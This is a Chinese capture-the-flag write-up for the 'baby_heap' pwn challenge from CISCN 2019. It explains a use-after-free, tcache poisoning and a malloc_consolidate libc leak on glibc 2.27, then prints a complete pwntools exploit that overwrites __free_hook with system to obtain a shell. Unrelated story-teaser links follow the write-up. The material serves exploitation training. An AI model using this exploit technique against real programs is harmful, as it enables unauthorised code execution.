ciscn_2019_c6(baby_heap)

背景

这题是国赛第一天的题目, 做出来的队伍挺多的. 漏洞利用点还挺有意思的, 之前没见过, 所以记录一下.

不过这题最迷的是 check , 不知道咋写的, 明明运行没问题非说 服务异常 不过我觉得可能是平台的原因.... 做出来的两个题就没 patch 成功过.... 赛后看群里讨论有人直接把一个题目当错另外一个题目的 patch 上传都能利用成功, 这exp怕不是直接用了 libc 的漏洞???

程序分析

程序保护全开, 还给了个 libc, 试了一下是libc 2.27.

这儿提一下我测试 libc 版本的方法: 如果题目提供libc的话, 我会修改程序使用的ld 然后尝试用不同版本的 ld 来加载提供的 libc , 从而可以得知libc的版本.

对于那种不提供 libc 的题目可以先试一下 double free, 如果不报错的话一般就可以当错 tcache 来做了. 不过也不排除使用的是 libc 2.29, 或者用 mallopt(M_CHECK_ACTION, 0) 来保证程序仍然可以继续运行. 各位师傅如果有啥比较好的方法欢迎交流.

程序就提供两个功能, mallocfree, 不过程序会限制 mallocchunk 的大小最大为 0x80

漏洞分析

然后分析一下漏洞点

首先是程序会把 malloc 的返回值打印出来. 可以用这个来泄露地址.

然后就是程序在 free 之后不会讲指针清零, 存在 uaf 漏洞.

显然关键就在于怎么泄露libc地址了, 只要能泄露 libc 地址结合 tcacheuaf 漏洞就可以直接修改 __free_hooksystem 地址了.

但是程序限制了 mallocchunk 的大小最大为 0x80, 所以所有 chunkfree 之后就会首先被放到 tcache 中, tcache 放满了也会放到 fastbin 中, 并没有办法泄露地址.

看到这一步如果有知道 house_of_orange 的小伙伴应该会想到能否通过 修改 top_chunksize 来实现将 top_chunk 插入到 unsorted bin 中. 这样就可以在堆上找到 libc 的地址了.

我当时就是按照这个思路来做的. 不一样的是我发现 ptmalloc 并不会将 top_chunk 放到 unsorted bin 中(不知道是 libc 2.27 的原因还是因为我构造的问题), 不过却会调用 malloc_consolidate. 这个函数会把 fastbin 中的 chunk 都合并, 然后插到 unsorted bin 里面, 然后堆上就有 libc 的地址了 :P

有了这个思路写 exp 就很快了.

exp

#coding:utf-8
from pwn import *
import time
import sys

global io
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p  : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x : p.recv(numb = x)
sa = lambda p, a,b : p.sendafter(a,b)
sla = lambda p, a,b : p.sendlineafter(a,b)

# amd64 or x86
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "pwn_27"


elf = ELF("./"+filename)
io = process("./" + filename, env={'LD_PRELOAD': "./libc.so.6:/usr/lib/x86_64-linux-gnu/libstdc++.so.6:/lib/x86_64-linux-gnu/libm.so.6:/lib/x86_64-linux-gnu/libgcc_s.so.1"}) 
libc = ELF("./libc.so.6")


def lg(name, val):
    log.info(name+" : "+hex(val))

def choice(p, idx):
    sla(p, "choice > ", str(idx))

def add(p, idx, size, content):
    choice(p, 1)
    sla(p, "index", str(idx))
    sla(p, "size", str(size))
    sa(p, "something", content)
    ru(p, 'gift :')
    addr = int(rl(p).strip('\n'), 16)
    print(hex(addr))
    return addr

def delete(p, idx):
    choice(p, 2)
    sla(p, "index", str(idx))

heap_addr = add(io, 0, 0x50, 'aaa\x80bbb')
add(io, 1, 0x48, 'aaa\x80bbb')


lg("heap_addr", heap_addr)

top_addr = heap_addr + 160

delete(io, 0)
delete(io, 0)
delete(io, 0)
add(io, 2, 0x50, p64(top_addr)*2)
add(io, 3, 0x50, p64(top_addr)*2)
add(io, 4, 0x50, p64(0xf1)*2)



for i in range(8):
    delete(io, 1)
for i in range(8):
    delete(io, 0)


# trigger malloc consolidate and leak libc
add(io, 5, 0x78, 'aaa\x80bbb')
add(io, 6, 0x78, 'aaa\x80bbb')
add(io, 7, 0x48, p64(top_addr)*2)
libc_addr = add(io, 8, 0x48, p64(top_addr)*2) - 245760
lg("libc_addr", libc.address)

libc.address = libc_addr -3865760

# modify __free_hook to system
free_hook = libc.symbols['__free_hook']
lg("free_hook", free_hook)
delete(io, 0)
delete(io, 0)
delete(io, 0)
add(io, 13, 0x50, p64(free_hook)*2)
add(io, 9, 0x50, p64(free_hook)*2)

add(io, 10, 0x50, p64(libc.symbols['system'])*2)

add(io, 14, 0x40, '/bin/sh\x00')
# gdb.attach(io)

# system("/bin/sh")
delete(io, 14)
io.interactive()
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,117评论 4 360
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,963评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 107,897评论 0 240
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,805评论 0 203
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,208评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,535评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,797评论 2 311
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,493评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,215评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,477评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,988评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,325评论 2 252
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,971评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,055评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,807评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,544评论 2 271
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,455评论 2 266

推荐阅读更多精彩内容